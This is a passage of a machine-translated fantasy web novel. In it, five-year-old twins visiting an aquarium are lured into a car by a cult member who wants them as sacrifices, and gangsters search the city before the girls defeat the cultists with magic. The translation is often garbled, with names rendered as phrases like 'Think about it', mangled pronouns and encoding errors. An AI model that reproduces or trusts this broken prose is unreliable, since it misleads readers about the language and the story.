    I didn''t mean to lie, dad bless my nose not to grow longer!


    Liu Qiang didn''t hear the flaw at all, he just said with a smile, "There is mineral water and snacks in the back seat, you can eat whatever you want!"


    "Thank you Uncle!"


    Holding such two cute little girls, Liu Qiang''s mood improved.


    So the tens of minutes'' drive passed quickly.


    When he reached his destination, Liu Qiang got out of the car and opened the door.


    "Thank you, uncle! Goodbye, uncle!" Xiangxiang and Niannian said in unison.


    Liu Qiang smiled and nodded, "Goodbye! Hey, didn''t your mother come to pick you up?"


    Liu Qiang couldn''t help asking when no one came to answer him.


    "My mother just sent WeChat saying that she was waiting for us inside!"


    "All right! Two little beauties, goodbye!" Liu Qiang waved his hand, and then watched the two little girls disappear among the crowd in front of the Aquarium, sighing in his heart.


    What if I could have such beautiful twin daughters!


    Liu Qiang drove away.


    The two little girls hopped to the aquarium.


    Many curious eyes were drawn along the way.


    "Auntie, here are two children''s tickets!" Think about it and shout sweetly.


    The ticket sales aunt at the door looked down at the two extremely cute little girls, and couldn''t help showing a loving smile.


    "Just the two of you? How about your sir?"


    "Auntie, my mother is waiting for me inside!"


    "Oh!" The ticket sales lady nodded, "You two don''t need to buy tickets, go in and play!"


    "Really!" said happily after thinking about it.


    The ticket sales aunt laughed so wrinkly, "Of course it is true, your height is not enough to buy tickets."


    "Thank you, Auntie!"


    Think about it, go inside.


    Nian Nian whispered to the ticket sales lady: "A...Auntie, can we still eat the free ice cream inside?"


    The ticket sales aunt laughed dumbly and touched Niannian''s little head affectionately, "I really don''t know how your parents gave birth to these two cute little girls! Eat the ice cream inside!"


    "Hmm!" Nian Nian was extremely happy.


    The two little girls entered the aquarium in this way.


    Sure enough, as the advertisement says, there are all kinds of rare marine life, and the layout and facilities are first-class.


    So it attracted a lot of people to come and play.


    Especially today is the weekend, and many parents bring their children to see it.


    But there are still many people whose eyes are attracted by thinking and thinking.


    "Gosh, these two little girls are so pretty!"


    "It''s twins! They are exactly the same!"


    "Oh, I really want to have a daughter!"


    In these discussions, the two little girls were calm and composed.


    Because the two of them are already quite familiar with this scene.


    Nian-nian kept looking around. When she finally saw the ice cream machine, it was as if she had discovered a new world, and she rushed over with the thought of looking at the big turtle while lying on the glass.


    "Hey, what are you doing?" Think about it.


    "Sister, ice cream machine!" Nian Nian was drooling.


    "Then you don''t have to drag me over! It can''t fly!"


    "What if you can fly?"


    "..."


    When Nian Nian eats vanilla ice cream as she wishes, the happiness on her face will overflow.


    Then the two little girls followed the crowd to the dolphinarium.


    Several little dolphins are doing their best to perform, and the audience exclaims from time to time.


    The two little girls did not sit in the audience, but stood by the pool and watched while eating ice cream.


    At this moment, a little dolphin swam straight over, his upper body surfaced, and looked at the two little girls curiously.


    It can feel the soft natural force on the body of missing misses, which makes it feel very close.


    That is the guardian of the Elf Mother God to Miss Miss.


    Miss Miss Nian stretched out his hand when he saw it, and the little dolphin swam over obediently, rubbing his head against the hands of the two.


    The amused two little girls giggled.


    quickly.


    The dolphin breeder reluctantly stopped the command.


    Because at this time all the dolphins swim in front of Miss Miss, and accept the touch of two little girls one by one Think about it and say, "Come on, line up!"


    These dolphins lined up immediately upon hearing this.


    And Niannian said: "Jump one!"


    These dolphins began to jump out of the water one by one, and only fell after turning around in the air, splashing layers of water.


    This scene naturally attracted the attention of many spectators in the dolphinarium.


    Many children cheered excitedly.


    The adults showed a gentle smile.


    Because this picture is so warm and moving, people can''t help but smile.


    But in these gentle and loving eyes, in the audience, a woman was taken aback for a moment, and then a greedy look appeared on her face.


    These two little girls can definitely sell for a good price!

 Chapter 531： The strange aunt

    After watching the dolphin show, the two little girls said goodbye to the reluctant dolphins and left the dolphinarium.


    "Sister, where are we going now?" Nian Nian asked.


    "Go see the big shark!" Think about it.


    "Ah...what''s so good about that, how terrible!"


    "Is it scary?" Think about it.


    Nian Nian nodded, "Isn''t it scary?"


    "That''s something you don''t know! If you imagine sharks without teeth, you will think they are actually very cute!"


    Nian-nian tilted her head and thought hard for a while, and then her smiling eyes curled up, "It''s really true, I think sharks are cute after they have no teeth!"


    "Let''s go! Let''s get two buckets of ice cream first, then go to see the sharks, and then take a taxi home after watching!"


    "Hmm!" Nian-Nian was filled with excitement when she heard that there was ice cream to eat.


    Just as the two little girls were discussing, they heard a soft voice from behind: "Two little beauties, how are you!"


    Miss Nian Nian looked back.


    I saw a woman who was 27 or 18 years old and barely beautiful in appearance was squatting on the ground, smiling at both of her.


    "Hello Auntie!" the two little girls said politely.


    "Uh..." The woman''s expression became a little embarrassed, "Sister!"


    "Okay Auntie! Aunt, what do you want?" Think about it.


    The woman chose to ignore the name she thought about this time, and said with a smile: "What are the two little beauties doing?"


    "Look at the sharks!"


    "What a coincidence! I want to see sharks too, shall we go together?" The woman said with a smile, looking sincere.


    "Okay!" There was no precaution to miss the miss, and he nodded directly.


    "Then let''s get to know! My name is Xu Jiaojiao, what are the names of the two little beauties?"


    "I call to think about it!"


    "My name is Nian Nian!"


    "This name is so nice! Are you twins?"


    "Yes!"


    Xu Jiaojiao is very excited now, feeling that the bad luck of this period of time has finally come to an end.


    Since the Zongmen ordered their disciples outside to look for virgin boys and girls with aura, Xu Jiaojiao has been exhausted every day, looking for suitable children everywhere.


    But these days, there are so many children with aura.


    Not to mention children with aura, even ordinary children are accompanied by their parents when they go out, which is difficult to reach.


    Xu Jiaojiao didn''t dare to be too extraordinary.


    Because the crime of kidnapping and trafficking in children is mortal in China.


    Even if the law can''t punish you, those righteous people will chase them madly.


    Seeing that the time limit set by the sect approached, he still got nothing.


    Xu Jiaojiao couldn''t help feeling a deep fear.


    She is well aware of the methods of the sect.


    If he fails to deliver qualified virgins, he will undoubtedly die.


    For this reason, Xu Jiaojiao is simply overwhelmed, anxious like an ant on a hot pot.


    Today, Xu Jiaojiao came to the aquarium to try her luck, but she didn''t find a suitable child for a while, so she went to the dolphin aquarium to try her last time.


    Coincidentally, I saw the miss of teasing the dolphins in the audience.


    At that time, Xu Jiaojiao was overjoyed.


    These two little girls looked like Zhong Ling Yuxiu, a child with a strong body.


    Even more rare is a pair of twins, which simply meets the requirements of the sect.


    If you offer these two little girls, you will not only be able to complete the task, but you will also receive a reward from the sect.


    Thinking of this, Xu Jiaojiao was full of enthusiasm.


    When she missed leaving the dolphinarium, she followed.


    When she found that the two little girls were not accompanied by their parents, she was even more ecstatic, feeling that God was helping herself, so she hurried forward to strike up a conversation.


    After arriving at the Shark Aquarium, Xu Jiaojiao enthusiastically bought snacks and drinks for the two little girls.


    The two little girls were determined not to.


    "Aunt Xu, mom said, you can''t ask for things from strangers!" Think about it.


    Xu Jiaojiao was full of enthusiasm, "How can we be strangers? Don''t we know each other now? Come on, take it!"


    Xu Jiaojiao stuffed the snacks into her arms.


    Unexpectedly, Nian Nian, who has always been greedy, also shook her head, and took a half step back.


    "Aunt Xu, I don''t want it!"


    At this time, people around had already cast curious eyes.


    Afraid of being discovered, Xu Jiaojiao hurriedly said with a smile on her face: "They are really good kids! If you don''t want them, then Auntie will bring them to you first, and then give them to you when you want to eat them later.


    Then Xu Jiaojiao followed the two little girls and looked at the shark.


    After playing for a while.


    Niannian said: "Sister, let''s go now! Otherwise, if our mother finds out that we sneak out, we will definitely be angry!"


    Thinking about it, I became a little scared at this time, nodded and said: "Well, then let''s go now!"


    She said goodbye to Xu Jiaojiao, "Aunt Xu, we are going home!"


    Of course Xu Jiaojiao would not give up, but she smiled and said: "Where do you miss where you live? If you drop by, I will send you back!"


    Think about it and ask suspiciously: "Then aunt, don''t you play anymore?"


    "Stop playing, I watched it all again, it''s boring!"


    "Oh! But where we live is far from here, in Yunmeng Courtyard, is this also the same way?"


    Xu Jiaojiao nodded her head hurriedly, "Follow the road, I happen to live in Yunmeng Courtyard!"


    "Really?" the two little girls asked in surprise.


    "Of course it''s true!" Xu Jiaojiao smiled secretly, even if you live in the palace, I will drop in! Looks like a child, so foolish!


    "But why haven''t we met Aunt Xu?"


    "Ahem, I just moved in last month! I don''t live there very often!"


    "Oh!" The two little girls nodded.


    "Okay, let''s go now, otherwise it will be late, your parents should be anxious!"


    "Hmm!" The two little girls nodded.


    Xu Jiaojiao was full of heart and led the two young girls out of the aquarium and came to the parking lot.


    She drove an ordinary silver-gray car, which looked inconspicuous, and even the license plate number was mostly obscured by dust.


    "Two little beauties, please get in the car!" Xu Jiaojiao smiled and opened the car door.


    Thinking and Nian Nian were very clever, but after all, they were just two five or six-year-old children, and Xu Jiaojiao''s smile was so sincere, so they got into the car very obediently.


    Xu Jiaojiao closed the car door, a flash of coldness flashed in her eyes.


    Two little girls, don''t blame me for this!


    It was you who came to the door by yourself!


    "Aunt Xu, why aren''t you leaving?" I want to ask.


    Xu Jiaojiao''s face immediately filled with a smile, "Go, go now!"


    Then I started the car, left the parking lot, and disappeared into the rolling traffic of the evening rush hour.

 Chapter 532： Shock all parties

    Four p.m.


    Tianzi No. 1 Villa.


    An Yan looked up at the clocks hanging on the wall, and said with some doubts: "Strange, why is this time today, the two little girls haven''t come downstairs?"


    "Maybe you haven''t woken up yet!" Tang Xuan''er said.


    "I''ll go and see, what time is it and still taking a nap!"


    An Yan got up and went upstairs.


    The living room on the second floor is empty, with all kinds of toys scattered on the floor.


    "I don''t know how to put it away after playing, they are really two little lazy cats!"


    An Yan mumbled and opened the bedroom door, "I miss it, it''s time to get up! It will be dark for a while, eh..."


    Seeing that the big princess bed was empty, there was no shadow of two little girls.


    "Strange, if you haven''t slept, where do people go?" An Yan was a little confused, so she looked for them from house to house.


    I quickly searched the second floor, but no trace of the two little girls were found.


    At this time, An Yan''s expression gradually became alarmed, and then he found that a window leading to the backyard was open with a rope hanging on it.


    An Yan rushed to the front and looked down.


    Sure enough, the rope went downstairs.


    And on the lawn in the backyard you can see the footprints of the two little girls.


    An Yan felt that her legs were soft, and she trembled: "Xuan''er, Xuan''er, come on!"


    Tang Xuan''er heard the shout downstairs and ran up quickly, "What''s the matter?"


    An Yan was almost crying, "Thinking and Nian are gone!"


    "What?" Tang Xuan''er was shocked.


    "The two of them should have gone down the stairs along this rope, and then ran out." An Yan said pale.


    Tang Xuan''er still barely kept calm, "Are they carrying mobile phones? Hurry up and call!"


    When An Yan heard it, his eyes lit up, "Yes, yes!"


    Then he quickly took out his mobile phone and dialed the number.


    "Sorry, the call you made is temporarily unavailable."


    When this voice came from the phone, An Yan felt cold in his hands and feet, and his brain was blank.


    "What to do, what to do! They are only five and a half years old, what should I do if they went out and were taken away by bad guys?" An Yan was confused, tears could not stop falling.


    Tang Xuan''er was also panicked, but still took a deep breath, "Don''t panic first, I''ll call the security guard at the door first and ask if they saw it!"


    Tang Xuan''er dialed the phone at the guard box at the door, and waited for a few more questions.


    Tang Xuan''er put down the phone helplessly, and shook her head lightly at An Yan.


    "The security said he hadn''t seen the two little girls go out."


    An Yan turned black in front of her eyes, her whole body was soft, and she almost fainted.


    Tang Xuan''er hurried forward to support her.


    An Yan burst into tears, "Blame me, if I go upstairs earlier, this kind of thing will not happen! No, I''m going to find them!"


    He said he was going downstairs.


    Although An Yan has a profound cultivation base, when facing the disappearance of her own flesh and blood, she was still in chaos.


    Tang Xuan''er stopped her, "Beijing is so big, how can you find it by yourself?"


    "Then what to do?" An Yan said desperately.


    "Notify the Qin family!" Tang Xuan''er said solemnly.


    As the Qin Group has grown stronger, Qin Yu, as the actual controller, has gained more prestige.


    Even began to be called the Queen of Beijiang by the outside world.


    Some people even said with a smile that Qin Yu can help you settle things that the mayor (mayor) has done in Beijiang.


    This shows how powerful the Qin family is in Beijiang.


    At the moment, in the top office of the Qin''s Building, Qin Yu is busy.


    Suddenly, a cell phone rang, breaking the silence in the office.


    The little secretaries all turned pale.


    Who doesn''t know that Qin Yu hates people calling when he is working.


    It is estimated that the person who called this time has to be scolded too.


    These little secretaries were thinking, but saw Qin Yu startled, then smiled and picked up the phone on the table.


    "Hey, sister Xuan''er, why did you think of calling me today?"


    This pleasant appearance made these little secretaries shocked.


    When did his chairman become so kind?


    But Tang Xuan''er, who was on the phone, was not in the mood to think about it, and said directly: "Xue Xiang and Xue Nian have disappeared in Beijiang."


    Qin Yu didn''t react at first, "Huh? Who is missing?"


    Tang Xuan''er took a deep breath, "Sister An Yan has been in Beijiang with longing and thinking these days, but just this afternoon, Missing Miss is missing!"


    "What?" Qin Yu exclaimed, Huo Ran stood up.


    The loud voice shocked all these little secretaries.


    They had never seen Qin Yu gaffe like this.


    No matter what major events in the past, the chairman always looked indifferent. What happened today?


    Qin Yu listened solemnly, "Okay, I understand! I''ll send someone to find it now! You tell Sister An Yan not to worry! I think I will find it soon!"


    After hanging up the phone, Qin Yu''s face was pale, "Tell the black king to come and see me!"


    "Yes!"


    A few minutes later, the Black King rushed over.


    "Chairman! What happened?"


    Qin Yu said solemnly: "Mr. Xue''s two daughters are missing in Beijiang!"


    "What?" The Black King almost jumped up.


    "I just learned that you are now taking everyone out to find, no matter where, no matter who, you must find the two little girls for me safe and sound! Understand?"


    "Yes!" Knowing that this was not a joke, the Black King immediately nodded in response, and ran out almost like a dash.


    Qin Yu was not idle either, she started making crazy calls.


    With her current status, a single phone call can make countless people run around for it.


    So soon, an invisible giant net gradually took shape, covering the entire Beijiang.


    But even so, Qin Yu was still worried. After a moment of indulgence, she dialed Du Fan''s phone.


    In a clubhouse on the outskirts of the city, Du Fan was drinking and playing cards with a few big brothers.


    Now he don''t live too well.


    Backed by the big tree of the Qin Group, no one can give him a bit of face.


    Of course, Du Fan also understood why the Qin Group would help himself in this way.


    It was entirely because I had done a good job in reporting to Xue An at the beginning, and this has led to a good day today.


    Thinking of this, Du Fan couldn''t help but sigh.


    It would be great if you could get closer to Mr. Xue.


    Just thinking about it, Qin Yu called.


    As soon as he saw Qin Yu''s call, Du Fan quickly connected it.


    "Chairman Qin, what do you want?" Du Fan deliberately asked loudly.


    All the big brothers present here looked at Du Fan with envy, which made Du Fan very proud.


    But then, Du Fan''s pride disappeared.


    Because Qin Yu said solemnly: "Mr. Xue''s two daughters have disappeared in Beijiang! You immediately check if your people did it. If it is... I advise you to do it yourself! If not, then quickly let you do it. The subordinates look for it, no matter whether it is the corner or the corner, you can''t let go of a dead corner, understand?"


    Du Fan''s face was pale, and his clothes were soaked in cold sweat. Regardless of whether the opposite person was not visible, he nodded frantically and said, "I understand, I will look for it now."

 Chapter 533： No one can afford the consequences

    Wait to hang up.


    Several elder brothers laughed and said, "What? Does Chairman Qin have some business to take care of Brother Du..."


    The laughter gradually disappeared.


    Because the look on Du Fan''s face was almost cannibalistic.


    "Call, gather everyone!" Du Fan said coldly at his men.


    "Yes!" Du Fan''s men led the way.


    The expressions of these big brothers became somewhat unnatural.


    One of the oldest said: "Boss Du, what are you going to do?"


    Du Fan slowly stood up and grinned a few times at these big brothers.


    "I advise you to go back and check if your subordinates have kidnapped two little girls. If so, hand them over quickly, otherwise...the gods can''t save you!"


    After that, Du Fan turned and left.


    Several big brothers looked at each other, but they didn''t understand what Du Fan meant.


    But such a big thing cannot be hidden.


    Soon, these eldest brothers received calls for notification.


    After hearing the seriousness of the matter, the complexions of these elder brothers became even uglier than Du Fan just now, and they all hurriedly ran back to their homes and began to investigate.


    After Du Fan returned to his nest, several of his subordinates hurriedly stepped forward and said: "Boss, just checked it out. Our subordinates have never done anything like this!"


    "Are you sure?"


    "Several people who have done this kind of thing have been marked as disabled. They dare not lie! Absolutely sure!"


    Du Fan could not help but let out a sigh of relief.


    Ok!


    Things haven''t changed too bad.


    If his own men abducted it, the consequences...


    Du Fan shuddered and didn''t dare to think about it anymore, and then said in a deep voice, "Release all the **** to me, whether it''s a **** KTV or a bar, even if it''s a mouse hole, you have to give it to me. I found it! Be sure to find these two little girls in front of others! Did you hear me clearly?"


    "Yes!"


    The entire Beijiang began to boil.


    Regardless of whether it is black and white, big and small forces, all are moving at the moment.


    Especially Qin Yu has already let go, who can find two little girls with a bonus of 10 million.


    Even if you provide a clue, you can give five million!


    At the same time, Du Fan also issued an order to kill him, no matter who it is, if you dare to know without reporting, light the sky lantern!


    In short, the entire Beijiang is about to be turned upside down.


    And in the living room of Tianzi No. 1 Villa.


    An Yan leaned on the sofa with a dull expression.


    Qin Yu and Qin Yuan, grandfather and grandson, sat on the other side in silence.


    It was dark outside at the moment.


    The two little girls still did not come back.


    The hope that they could come back on their own was frustrated.


    That is to say, there is definitely something wrong with the two little girls.


    This fact is like a heavy hammer, and An Yan''s heart is almost broken.


    Qin Yuan and Qin Yu were also pale as paper at the moment.


    Because this thing is too big.


    It was so big that neither of the two Qin Group''s controllers could bear it.


    Qin Yuan and Qin Yuan shudder at the thought of the consequences of Mr. Xue finding out that their daughter was missing after he came back.


    Yes!


    Xue An is usually good to them.


    But the grandfather and grandson were very clear that it was because they did not touch Xue An''s bottom line.


    If you touch it, no matter who you are, Xue An will ruthlessly destroy you.


    And there is no doubt that these two little girls are definitely the high-voltage line that Xue An can''t touch!


    If it really hurts the two little girls on their own territory.


    It is estimated that... the entire Beijiang will become a funeral under Mr. Xue''s anger.


    Qin Yu became more afraid as he thought about it.


    At this moment, the cell phone on the coffee table rang.


    Qin Yu immediately connected the phone and turned on the speakerphone.


    "Say!"


    "Chairman, the news came from Du Fan just now. He has already questioned Beijiang gangs big and small one by one, making sure that no one abducted the two young ladies!"


    The news made it harder for everyone in the room to look.


    If this is the case, the difficulty of finding two little girls from the vast crowd will be much greater.


    "However, by calling up the surveillance probes around the Yunmeng Courtyard, it can be confirmed that the two young ladies appeared on the road at around 12 noon and were taken away by an online taxi!"


    "We have found the driver of this online car-hailing car. He said that the last place the two ladies got off the car was at a newly opened aquarium!"


    Aquarium?


    The eyes of everyone in the room gradually lit up.


    The two little girls ran away from home to play in the aquarium, which also made sense.


    "What then?" Qin Yu asked in a deep voice.


    "We have sent people to look for them three times at the Aquarium, and even kicked up all the stairwells. No trace of the two young ladies was found! However, through the visit, many people have seen the two young ladies, and there are Provided a clue, saying that he left with a young woman in the end!"


    Everyone''s hearts tightened again.


    Left with a young woman?


    Could it be said that it was really abducted by traffickers from other places?


    "Check again!" Qin Yu said solemnly.


    This time I responded quickly.


    "Chairman, I have checked. This woman took the two young ladies into a silver-gray car. The license plate could not be seen clearly, and then left! We are mobilizing surveillance at various intersections! At the same time, let everyone start to pull Find this car online!"


    "it is good!"


    Although I didn''t find it, there was a valuable clue.


    As a result, the expressions of the people in the room became much more vivid.


    Even An Yan, who looked sluggish, his eyes became agile.


    Unexpectedly, just when everyone thought that victory was in sight.


    The silver-gray car seemed to have evaporated I couldn''t find it at all.


    Qin Yu was almost crazy, and shouted at the phone: "I don''t care how difficult it is, even if I check all the silver-gray cars in Beijiang one by one, I will find this car tonight!"


    Qin Yu gave the order to die.


    Countless people began to search the streets.


    At the same time, there are still many people holding a picture that they missed in their hands, looking for it over and over again in the huge city of Beijiang as if they were going through a sieve.


    Just when everyone was restless for the two missing little girls.


    In an abandoned factory on the outskirts of Beijiang City.


    The vehicle stopped slowly.


    "Two little beauties, get home now, please get off!" Xu Jiaojiao said with a smile.


    Xue Xiang and Xue Nian woke up from their sleepiness and habitually shouted: "Thank you, Auntie!"


    Then he opened the door and prepared to get off.


    But after seeing the lush scenery outside, the two little girls couldn''t help but froze.


    "Where is this? This is not our home?"


    "Yes! This is indeed not your previous home, but in the future, it may be here!" Xu Jiaojiao said lightly.

 Chapter 534： Anti-kill from 2 little girls

    "What do you want to do?" Xue Xiang asked vigilantly.


    "Don''t worry, two little beauties, I can''t bear to hurt you! I just like you so much, so I want to invite you to stay here for a few days!" Xu Jiaojiao said with a smile.


    Think about keeping some scared thoughts behind you, "We don''t want to be guests here! We want to go home!"


    "Go home? Haha... Didn''t I tell you, this is your home!" Xu Jiaojiao said slowly.


    Imagine holding Nian Nian''s little hand, gently stroked her palm, and then looked at each other with eyes that only the two sisters could understand.


    "run!"


    Xue Xiang yelled, slammed the door, pulled Xue Nian and jumped out of the car, and then ran away.


    Xu Jiaojiao didn''t chase, but she held her arms and looked at it playfully.


    I don''t know how long this factory building has been abandoned. There are weeds as high as one person everywhere. Two little girls stumbled around in it, and quickly lost their way.


    "Sister, what should I do?" Nian Nian paled with fright.


    Think about looking up at the moon, and taking a deep breath, "Don''t be afraid, now my mother must have known that we are missing and should be looking for us! Let''s try to get out of here first."


    "But where is the place to go out!" Nian Nian whispered.


    "Here!" Think about suddenly pointing forward, and then dragging Nian Nian to start running forward again.


    Soon, the two saw the wall.


    "Sister, how do you know this is the direction?" Nian Nian asked breathlessly.


    "Guess it!"


    But when the two little girls were about to hit the wall, the scenery in front of them suddenly changed.


    The fence just turned into weeds again.


    The two little girls were taken aback.


    Xu Jiaojiao walked over slowly, with a sardonic smile on her face.


    "Is it fast? Tell you, this place has been remodeled by our sect. Outsiders can''t get in and out unless the people of this sect!"


    "Who are you and why are you arresting us?" I asked after thinking about protecting my sister and stepping back.


    Xu Jiaojiao looked a little surprised and thought about it, and then exclaimed: "It''s really a child with aura. He has such a clear thinking at the age of five or six! As for who I am..., tell It��s okay for you!"


    "I''m a disciple of the Voodoo Sect. I want to dedicate it to the elder of the sect when I catch you!" Xu Jiaojiao said with a smile.


    "You big villain, you actually lied to a child!" Nian-nian poked her head out from behind thinking, frowning and angrily.


    It''s just that with her pink and lovely face, no matter how annoyed she is, there is no lethality.


    Xu Jiaojiao laughed dumbly, "It''s really cute! If it weren''t for this, I really want to be friends with you two little girls!"


    "We don''t want to be friends with you!" Think about it with a cold face.


    "Yeah! You are a big badass! Let us go quickly, otherwise we will be welcome!" Nian Nian agreed.


    Xu Jiaojiao disagreed, and was about to speak.


    At this moment, there was a sound of breaking through the air, and then several figures fell in the courtyard.


    Seven or eight people came.


    There are men and women of all ages, and the leader is a middle-aged man with a goatee.


    When she saw these people, Xu Jiaojiao trembled all over, and hurried forward, bowing to salute.


    "I have seen Elder Wu Zhu and you adults!"


    The middle-aged man nodded slightly, and then looked at thinking and thinking with fiery eyes.


    "Is this the twins you are talking about?"


    "Elder Back, yes!"


    Elder Wu Zhu looked more and more satisfied, and couldn''t help but nodded and said: "Well, yes, it is indeed the best aura!"


    Xu Jiaojiao flushed with excitement after receiving the praise from Elder Wu Zhu.


    And those who came with it also stepped forward.


    I saw a young woman in her thirties, who was still charming and said with a smile: "Tsk tsk, they are really two girls who are like pink jade. If this is used for sacrifice, it would be a bit wasteful."


    Elder Wu Zhu looked displeased, "How can I say it? The sacrifice is to welcome the arrival of Lord Ancestor Wu, how can we say waste?"


    The young woman turned pale, and hurriedly lowered her head and said, "Shan''er has offended, please don''t blame the elder!"


    Elder Wu Zhu smiled coldly, did not pay attention to her, but turned to look at the two little girls.


    "Both of you are the best choice. It is an honor for you to be a sacrifice to the Wumen!"


    When the elder Wu Zhu said this, his voice became ethereal and at the same time full of inducements.


    This is the kind of witchcraft he is best at.


    Use words to change a person''s mind and make him a fanatic of voodoo.


    This kind of witchcraft is usually used for missionary purposes. Now it is used to deal with two little girls. Isn''t it easy to catch it?


    Unexpectedly, until he finished speaking.


    The two little girls still felt nothing.


    And just think about it and say angrily: "So honored, why don''t you go to sacrifice?"


    "My sister is right!" Nian-nian agreed.


    "Also, the two of us are not easy to provoke. You''d better let us go now, otherwise we will be rude!"


    "Yeah, my sister is right! Let us go, or you will be rude to you!"


    Although this elder Wu Zhu was a little surprised that his witchcraft actually didn''t work on the two little girls.


    But I couldn''t help laughing after hearing the thoughts and thoughts.


    Not only did he laugh, but all the guys who followed him burst into laughter.


    "Two little sisters, why do you want to be rude to us? Do you want to be cute and then make us cute?" The young woman said with a grin.


    The two little girls ignored them either, but looked at each other, and then took off the small pan that they were wearing from their necks.


    "Beautiful girl transforms!"


    These guys laughed harder.


    "It''s really interesting. She turned into a beautiful girl, and I''m still Shui Bingyue..."


    Before the words were over, the small pan in the hands of the two little girls suddenly became larger.


    Then in the surprised eyes of these guys, Xiang He Nian Nian threw out the pan and shouted.


    "Ultraman strikes out!"


    The two pans rushed over with the wind and thunder.


    The first person to be photographed and fallen to the ground was Elder Wu Zhu who stood at the forefront.


    He never dreamed that one day he would be knocked to the ground by two five or six-year-old little cute babies.


    And he didn''t think about dodge, but the pair of pans seemed to be spiritual, no matter how he dodges, they followed closely behind.


    Then came the group of men, women and children standing behind.


    Although these guys have cultivation skills.


    But in front of Xue An''s personally refined pan, there was no enemy of Yihe.


    In the blink of an eye, all these guys fell to the ground one by one.


    Thinking and Nian Nian raised her face triumphantly, "Well, we are right!"


    But at this moment, Elder Wu Zhu, who was lying on the ground, trembled his hands and formed an extremely complicated seal, and a gray light exuding a wild aura rushed toward the two little girls.


    A smug smile appeared at the corner of Elder Wu Zhu''s mouth.


    This witchcraft is his unique trick at the bottom of the box, and it is extremely powerful.


    But just when Gray Guanghua was about to meet two little girls.


    A ray of white light soared into the sky, directly smashing all the gray brilliance.


    And just heard a crisp sound.


    The illusion that had been shrouded in this factory building was also broken.

 Chapter 535： Uncle, are you looking for us?

    Du Fan��s subordinate Lu Kun was in charge of searching the suburbs.


    That is the dear man who was cleaned up by Xue An once.


    But now Lu Kun never regarded this as a shame, but often boasted that he had been beaten by Mr. Xue himself.


    It seems that this is something to be proud of.


    But now Lu Kun''s complexion is also extremely ugly.


    Because Boss Du told him that he must find the two young ladies and ensure that they are safe, otherwise....


    Du Fan didn''t say the following, but Rukunbi knew what it meant.


    Thinking about Mr. Xue''s methods, Lu Kun felt cold all over.


    If the two young ladies really have two shortcomings on their own territory, Lu Kun feels that it is better for him to hang himself, at least without pain.


    It is also because of this, so Rukun has now spared it.


    With red eyes, he led people to search over and over again.


    Even the horns are not let go.


    But all was nothing.


    Seeing the moon in the sky, Lu Kun wanted to cry but couldn''t cry, trembling and lit a cigarette, standing under the street lamp and slowly inhaling.


    All his subordinates stood in the distance, watching silently.


    No one dared to speak.


    The surroundings are quiet, not even a bird chirping.


    "God, are you just playing with me like this? Please let the two aunts and grandma appear quickly! If the two aunts and grandma can appear in front of me safe and sound, I would rather not touch a woman for the rest of my life!"


    In despair, Lu Kun began to pray softly.


    This is also human nature.


    Lu Kun did not hold out much hope.


    But his voice just fell.


    Just opposite him, there was a white light bursting into the sky in a place that was originally a clearing.


    Then after hearing a few clicks, an abandoned factory building gradually appeared in front of him.


    After shaking for a few times, the wall of the factory building suddenly collapsed, exposing the lush yard inside.


    And in the yard, a pair of little girls were standing together, many people lying on the ground.


    The boss with an open mouth didn''t even know that the smoke in his mouth fell, and he stared at everything in front of him dumbfounded.


    These two little girls... aren''t they the daughters of Mr. Xue?


    At this moment, Lu Kun has only two big characters in his mind.


    Damn it!


    At this moment, I thought about turning my head and glanced at Lu Kun.


    "Uncle, are you here to find us?"


    Lu Kun nodded hurriedly, joy and worry in his heart.


    I was so happy that I found Mr. Xue''s daughter, and I have done a great job.


    The worry is that God has really manifested himself, and he can''t touch women anymore.


    It seems that I have to find a way to like men. Lu Kun thought silently.


    "Well, please take us two home!" Think about it.


    "By the way, there are these big bad guys, they fooled us here!" Thinking about it, she pointed to everyone Xu Jiaojiao on the ground.


    Lu Kun''s eyes gradually turned red.


    Damn, it turned out to be the two grandmothers kidnapped by these bastards!


    Almost killed myself.


    Therefore, he smiled and nodded, "The two ladies don''t worry, I will grab them now and take them back for disposal!"


    He said and waved, and the men behind him wanted to move forward.


    The elder Wu Zhu awoke from the shock of the white light just now and sneered.


    "A bunch of mortals, can''t they still want to catch us?"


    As he said, a gray light rose from these people.


    A powerful momentum enveloped Lu Kun and others.


    Lu Kun turned pale, and stood stiffly on the spot.


    Elder Wuzhu smiled grinningly and said to Miss Missing: "Two little girls, I admit that I looked down on you two, but that''s all! Now I will take you back and let you be in front of Lord Zuwu The best sacrifice!"


    He said he was about to jump over.


    Seeing that he was about to rush to the front.


    Nian-nian suddenly stomped, "Grab him!"


    Elder Wu Zhu sneered and said, "Little girl, you have to be mystery, you..."


    Before I finished speaking, I saw that the wild grasses full of the courtyard suddenly began to grow wildly, and the branches and leaves of the grass and trees wandered like waves, instantly devouring Xu Jiaojiao and others.


    At the same time, countless weeds followed afterwards, directly grabbing Elder Wu Zhu in midair.


    "How is it possible, why do you have such a powerful force of nature?" Elder Wu Zhu panicked.


    But his cultivation is the highest among these people, so his whole body shone with gray light, shattering all the vegetation and branches that he possessed, and moving forward with difficulty, thinking about taking away the two little girls.


    At this moment, an image of a goddess exuding a bright light rose from behind the two little girls.


    It is the goddess Cloris.


    This is also the guardian of Cloris to the two little girls.


    I saw Cloris nodded slightly at the two little girls, then looked up at Elder Wu Zhu.


    At this moment, Elder Wu Zhu''s eyes stared out, and he screamed: "How is it possible, how can there be a true **** in this world?"


    Cloris looked solemn and ignored his exclamation, but extended his index finger to lightly tap.


    These weeds were completely crazy, and they were more than a hundred times stronger in the blink of an eye, and they completely swallowed Elder Wu Zhu in an instant.


    As the branches and leaves wandered, Elder Wu Zhu cried out in horror: "Who are you two? Why are there so many secret magic guards?"


    By now, even fools can understand that these two little girls are by no means ordinary people.


    "Hmph, we won''t tell you! Big bad guy!" Nian Nian said.


    Then the wild grass formed a huge grass cocoon, trapping the elder Wu Zhu firmly in it.


    Not only him, but his subordinates, including Xu Jiaojiao, were all **** into grass cocoons.


    Cloris smiled slightly at the two little girls, then the brilliance dispersed and disappeared in front of everyone.


    The two little girls turned around and glanced at Lu Kun.


    "Uncle, please help me transport these bad guys back, okay?"


    Lu Kun and his dumbfounded subordinates just woke up like a dream.


    "Fine, no problem!"


    Soon, someone drove a truck and threw these dozen grass (eggs) onto the truck.


    And Lu Kun took this opportunity to call Du Fan quickly.


    As soon as he was connected, Lu Kun couldn''t wait to say: "Boss, I found it!"


    At this moment, Du Fan was looking murderously at his subordinates beating a human trafficker, trying to find some clues from him.


    "Don''t tell me, eh? Say no! You scumbag, scum!"


    Traffickers are not ashamed of what they do, so they are merciless.


